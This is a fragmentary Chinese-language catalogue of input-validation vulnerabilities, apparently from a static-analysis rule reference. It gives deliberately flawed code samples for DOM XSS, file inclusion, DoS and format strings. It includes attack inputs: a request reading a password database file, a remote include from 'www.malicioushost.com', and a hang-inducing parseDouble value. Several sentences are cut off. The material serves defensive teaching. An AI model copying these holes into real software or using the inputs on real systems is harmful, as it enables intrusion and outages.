输入验证与表示问题是由元字符、交替编码和数字表示引起的。安全问题源于信任输入。这些问题包括:“Buffer Overflows”、“Cross-Site Scripting”攻击、“SQL Injection”等其他问题。
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid
的雇员 ID 仅包含标准字母数字文本,则这些代码示例可正确运行。如果 eid
中的某个值包含元字符或源代码,则在用户点击该按钮之后,代码将被添加到 DOM 以供浏览器执行。如果攻击者可以诱使用户将恶意内容输入到文本输入,就成了基于 DOM 的 XSS。document.domain
。document.domain
设置为相同值,并在页面上执行脚本,就像它们位于完全相同的域中一样。domain
,并将其作为页面的同源策略 (SOP) 的域传递。
<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>
document.domain
。因此,如果页面位于“http://www.example.com”,则可以将 document.domain
设置为“www.example.com”或“example.com”。它不能设置为“com”或“example.org”。
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
中,攻击者可通过为 includedURL
提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。web.config
,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
文件的内容在 JSP 页面上呈现,从而对系统安全造成威胁。c:import
标签将用户指定的远程文件导入当前的 JSP 页面。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
,从而使攻击者很容易重写内部服务器的各种变量。尽管禁用 register_globals
可以从一定程度上减少程序发生 file inclusion 漏洞的风险,但是这些问题仍然存在于各种现代的 PHP 应用程序中。 $server_root
的应用程序下。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
设置为 on
,攻击者可以通过提供 $server_root
请求参数覆盖 $server_root
值,从而部分控制动态 include 指令。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
中,攻击者可通过为 headername
提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。/etc/shadow
,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
HttpRequest.Files
、HttpRequest.Form
、HttpRequest.Cookies
、HttpRequest.QueryString
、HttpRequest.Headers
、HttpRequest.ServerVariables
设置为 1000),并可使用配置文件的 aspnet:MaxHttpCollectionKeys
设置调整大小。但是,提高值会增加 DoS 攻击概率。aspnet:MaxHttpCollectionKeys
设置为 2147483647
。
...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
函数的执行时间。如果指定较大的数字,则攻击者可能会无限期地占用 Future
函数。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
示例 2:以下代码从一个 zip 文件中读取字符串。因为它使用
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
方法,所以可以读取一批极大量的输入。攻击者能够利用该代码引发一个 OutOfMemoryException
异常,或者消耗大量的内存,从而致使程序需要更多的时间去执行垃圾信息的收集,或在随后的操作过程中用完内存资源。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
示例 2:下列代码会写入一个文件。由于在用户代理将此文件视为已关闭之前,此文件可能会持续写入和重写,因此磁盘配额、IO 带宽和可能需要分析此文件内容的进程都会受到影响。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
示例 2:以下代码从一个文件中读取字符串。因为它在未指定限制的情况下使用
Kernel.sleep(user_input)
readline()
方法,所以它将读取无限量的输入。攻击者可能会利用这个代码使进程挂起,同时消耗越来越多的内存,甚至可能完全耗尽内存。
fd = File.new(myFile)
line = fd.readline
Formatter.format()
的格式字符串参数。
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
等异常。此外,由于它不在 try 块中,因此可能会造成应用程序故障。 accountNo
包含在生成的字符串中。java.lang.Double.parseDouble()
及相关方法时出现漏洞,会导致在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
范围内的任意数字时挂起线程。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
Double d = Double.parseDouble(request.getParameter("d"));
d
参数值位于该范围(例如 "0.0222507385850720119e-00306"
)内的请求,致使程序在处理该请求时被挂起。